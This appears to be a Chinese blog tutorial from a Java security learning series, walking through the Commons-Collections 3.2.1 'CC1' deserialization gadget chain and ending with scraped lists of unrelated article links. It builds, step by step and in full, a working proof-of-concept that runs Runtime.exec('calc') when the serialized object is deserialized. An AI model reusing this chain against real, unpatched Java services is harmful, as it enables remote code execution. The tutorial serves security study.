Commons-Collerctions链条

Apache Commons-Collections简介

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库.它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere,Jenkins等知名大型Java应用都使用了这个库。

-些Java应用程序(Weblogic,Websphere,Jboss,Jenkins,Coldfusion等)的RCE漏洞都是因为Commons-Collections的反序列化造成的

环境准备

java下载:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

mevn仓库:https://mvnrepository.com/

所用mevn依赖:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

openjdk:https://hg.openjdk.java.net/

使用:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

在jdk1.8_65中,将src.zip解压成文件夹
然后将下载的jdk-af660750b2f4解压,将其src/share/classes/sun文件夹复制粘贴到jdk1.8_65的src中

接着,创建一个mevn项目在idea中的file->project structre中,将src目录添加进去

最后后在pom.xml中添加,刷新一下mevn

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

复现过程

首先构造一个简单的命令执行代码

package com.example;

import org.apache.commons.collections.Transformer;

import java.io.*;

public class CC01Test02 {
// 在走一次CC1
public static void main(String[] args) throws IOException {
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
} public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
} public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

Transfomer

首先默认我们知道Transfomer是危险的;

Transfomer是Commons collections的一组功能类

Transformer中只有一个待实现的一个接口

点击左边的图标,查看实现的方法:一共14个,实现了不同的功能

例如: transform在ChainedTransformer中的实现:

实现功能:调用初始化传入Transformers数组的transformer方法,并且将上一个返回结果作为下一个transformer方法的参数

例如:transform在ConstantTransfoermer中的实现

实现功能:返回创建ConstanTransformer实例时传入的对象

例如:transform在InvokeTransformer中的实现

实现功能:以反射方式,调用创建InvokeTransformer实例时传入的方法

发现这个实现的函数有点危险;考虑能否进行利用(当然能利用);

InvokeTransformer

发现InvokeTransformer构造时的三个参数都是可控的:一次是调用的方法调用的方法的参数类型调用的方法的参数

考虑使用InvokeTranssformertransformer方法来执行Runtimeexec方法

于是:
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
可以写成:
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

相当于在transformer中可以看到是通过了反射实现的,这里我们就找到了一个危险函数;

接下来就需要找一个不同的类中不同的方法调用了Transform

右击Transform方法,点击Find Usages,能够看到有21个利用;就一次开始寻找;

要明确,得在一个其它的类中调用transform的,如果是同名的调用就无法往上一层走,因为我们要从这个transformer依次找找找,找到一个入口;就像做PHP反序列化题目挖pop链一样;从危险函数(eval,system)到一个入口函数(如:wakeup,destruct)

我们找到有一个Transformmap,这里实现了很多的transform,考虑在这里进行利用;至于为什么是再这里利用,我只能说CC1就是这么走的,当然可以试试其它链路的利用,我就能力有限,只能拾人牙慧看着视频这么向上走CC1;

即:利用此处的transform

TransformedMap

上面说到利用TransformedMap的checkSetValue方法中的valueTransfomer.transfomer,所以这里就需要检查一下TransformedMap是怎么样的;

于是看一下TransformedMap的构造方法:

发现这个构造方法是一个保护类型,所以一定是被调用的,所以再看哪里调用了这个方法,发现在decorate方法这里进行了调用,并且返回了一个Map对象;

先写两步

于是将
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
改成:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
//调用decorate方法,需要传入一个map(Map map)所以这里定义一个haspmap
TransformedMap.decorate(map,null,invokerTransformer);
//由于利用的TransformerdMap中的checksetValue方法,且在该方法中只用了valueTransfomer,所以上一句这里不用传入keyTransfomer

于是,当调用到checkSetValue函数时,就会执行valueTransformer.transform,由于传入的valueTransfomerinvokerTransformer;所以这里就相当于执行invokerTransformer.transform

接下来就需要再找,哪里执行了checkSetValue方法,依旧是通过Find Usages,找到只有一个地方进行了调用:

AbstractInputCheckedMapDecorator

这个setvalue方法实际就是在遍历hashmapsetvalue

for(Map.Entry entry:map.entrySet()){
entry.getValue();
}

因为发现:TransformedMap类继承了AbstractInputCheckedMapDecorator类,并且在AbstractInputCheckedMapDecorator类中重写了setvalue方法,也就是说,当遍历被修饰的map的时候,就会走到setvalue方法,然后就会走到checksetvalue;

最后将代码修改成这样

 public static void main(String[] args) throws IOException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","b");
//设置一个键值,这样才能进入setValue
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}

这样就代表链子可以用,算是执行到了一半了;

然后开始找哪里调用了setvalue

AnnotationInvocationHandler

然后在这个类中找到了setvalue的调用,并且这是在一个map中,符合了测试的格式;更妙的是,它是在readObject中;

再看这个类的构造函数

在构造函数中传入的参数都是可控的:

Annotation:是注解,就是@Override那些注解;Class<? extends Annotation>是继承注解;

Map传入transformermap就行;

由于构造函数中没有写public,那么就是default类型,default类型又必须在本类中调用,所以需要用反射来反射一个对象出来;

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>();
map.put("key","b");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}

这里就先改成这样;链子就算是走完了,但是这里没法执行,还有一些问题需要修改;

ChainedTransformer

由于Runtime没得反序列化接口,所以也得走反射反射一个类出来;所以用IvokeTransformer来反射一遍,并且用ChainedTransformer,连接一次

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// Transformer;
// Runtime runtime = Runtime.getRuntime();
Runtime r = Runtime.getRuntime();
// runtime.exec("calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();
map.put("key","b");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
// Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}

然后调试一下看看会不会正常的执行进去;

在调试过程中发现,这里是妹纸的;这个menberValues是注解中的值,但是这里的注解用的是Override;换成Target;在Target中有一个值是value;所以设置值也设置为value

 public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// Transformer;
// Runtime runtime = Runtime.getRuntime();
Runtime r = Runtime.getRuntime();
// runtime.exec("calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();
map.put("value","b");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
// Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}

然后这里就走到了setValue

但是在调试中发现,这里传入的是一个Ann.....对象;

ConstantTransformer

在调试中,发现,最后执行transform方法在这里:

传入的是一个Annota...对象,对这个对象执行transform

不过这个时候需要传入的是个Runtime.class

于是想到了ConstantTransformertransform方法,它返回的值是传入的值,所以在构造chain的数组中加一个进去;

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
};

这样调试的时候就会有一个Runtime.class了;

此时,整条链子跑完了;

调用链

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map.Entry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

完整代码

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap; public class CC01Test02 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// Transformer;
// Runtime runtime = Runtime.getRuntime();
Runtime r = Runtime.getRuntime();
// runtime.exec("calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();
map.put("value","b");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
// Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
} public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
} public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

[java安全基础 03]CC1的更多相关文章

  1. 086 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 03 面向对象基础总结 01 面向对象基础(类和对象)总结

    086 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 03 面向对象基础总结 01 面向对象基础(类和对象)总结 本文知识点:面向对象基础(类和对象)总结 说明 ...

  2. Java并发基础03. 传统线程互斥技术—synchronized

    在多个线程同时操作相同资源的时候,就会遇到并发的问题,如银行转账啊.售票系统啊等.为了避免这些问题的出现,我们可以使用synchronized关键字来解决,下面针对synchronized常见的用法做 ...

  3. 084 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 03 构造方法-this关键字

    084 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 03 构造方法-this关键字 本文知识点:构造方法-this关键字 说明:因为时间紧 ...

  4. 078 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 03 创建类

    078 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 03 创建类 本文知识点:创建类 说明:因为时间紧张,本人写博客过程中只是对知识点的关 ...

  5. 056 01 Android 零基础入门 01 Java基础语法 06 Java一维数组 03 一维数组的应用

    056 01 Android 零基础入门 01 Java基础语法 06 Java一维数组 03 一维数组的应用 本文知识点:数组的实际应用 程序开发中如何应用数组? 程序代码及其运行结果: 不同数据类 ...

  6. javaSE基础03

    javaSE基础03 生活中常见的进制:十进制(0-9).星期(七进制(0-6)).时间(十二进制(0-11)).二十四进制(0-23) 进制之间的转换: 十进制转为二进制: 将十进制除以2,直到商为 ...

  7. Java中基础类库使用

    Java中基础类库: 在这里我仅仅介绍几种我个人觉得会常常使用的 1:Object类中的Clone机制仅仅是对对象进行浅层次的克隆,假设须要进行深层次的克隆的话那么就要自己写(详细Clone方法请參考 ...

  8. day03<Java语言基础+>

    Java语言基础(逻辑运算符的基本用法) Java语言基础(逻辑运算符&&和&的区别) Java语言基础(位运算符的基本用法1) Java语言基础(位异或运算符的特点及面试题) ...

  9. java编程基础二进制

    0.java编程基础 01.二进制(原码,反码,补码) 02.位运算 03.移位运算符 二进制 原码,反码,补码 1.基本概念 二进制是逢2进位的进位制,0,1是基本算符. 现在的电子计算机技术全部使 ...

  10. JAVA安全基础之代理模式(二)

    JAVA安全基础之代理模式(二) 上篇讲到静态代理模式,这时候我们发现,一个代理类只能为一个类服务,如果需要代理的类很多,那么就需要编写大量的代理类,比较繁琐.所以就有了动态代理 动态代理 动态代理的 ...

随机推荐

  1. Promise知一二

    Promise 1.Promise的前置知识 进程(厂房) 程序的运行环境 线程(工人) 线程是实际进行运算的东西 同步 通常情况代码都是自上向下一行一行执行的 前边的代码不执行后边的代码也不会执行 ...

  2. Day37:正则表达式详解

    正则表达式 1.1 概述 正则表达式可以用一些规定的字符来制定规则,并用来校验数据格式的合法性. 比如我们在网站上输入用户账号,要求我们输入的账号信息要符合账号的格式,而校验我们输入的账号格式是否正确 ...

  3. 当 xxl-job 遇上 docker → 它晕了,但我不能乱!

    开心一刻 某次住酒店,晚上十点多叫了个外卖 过了一阵儿,外卖到了 因为酒店电梯要刷卡,所以我下楼去接 到了电梯口看到个模样不错的妹纸 我:是你么? 妹纸愣了下:嗯! 于是拉上进电梯回房间,正准备开始呢 ...

  4. Flaks框架(Flask请求响应,session,闪现,请求扩展,中间件,蓝图)

    目录 一:Flask请求响应 1.请求相关信息 2.flask新手四件套 3.响应相关信息(响应response增加数据返回) 二:session 1.session与cookie简介 2.在使用se ...

  5. Codeforces Round #838 (Div. 2) D. GCD Queries

    题意 有个长度为n的排列p,[0,1,2,...n-1],你可以进行至多2*n次询问,每次询问两个i,j,返回gcd(pi,pj),让你在规定时间内猜出0在哪两个位置之一 思路 这是一道交互题,询问的 ...

  6. 8、IDEA提交代码出现: Fetch failed fatal: Could not read from remote repository

    转载自 第一步.确认Git公钥/密钥是否生成: 1. 首先查看本地是否生成git密钥,一般在C盘home目录下:[C:你自己的home目录\.ssh] 第二步:添加Git密钥: 右键->Git ...

  7. 一、对称加密(DES加密)

    一.DES简介DES是一种对称加密(Data Encryption Standard)算法.于1977年得到美国政府的正式许可,是一种用56位密钥来加密64位数据的方法.一般密码长度为8个字节,其中5 ...

  8. 分享.net framework4.0无法安装的几种处理方案.

    [关于.net framework4.0安装失败]-------------)方案1:http://www.win7xtzj.com/win10jiaocheng/39834.html 关键词: -- ...

  9. Spark详解(04) - Spark项目开发环境搭建

    类别    [随笔分类]Spark Spark详解(04) - Spark项目开发环境搭建 Spark Shell仅在测试和验证程序时使用的较多,在生产环境中,通常会在IDEA中编制程序,然后打成Ja ...

  10. 如何使用Redis和RabbitMQ实现一个学生抢课系统(可类比商品秒杀系统)

    1.如何使用Redis和RabbitMQ实现一个学生抢课系统(可类比商品秒杀系统) 电商项目中的秒杀场景我们都很常见,不只是京东和淘宝现在很多的小程序公众号也有做现时限购的秒杀场景,那么如何做一个秒杀 ...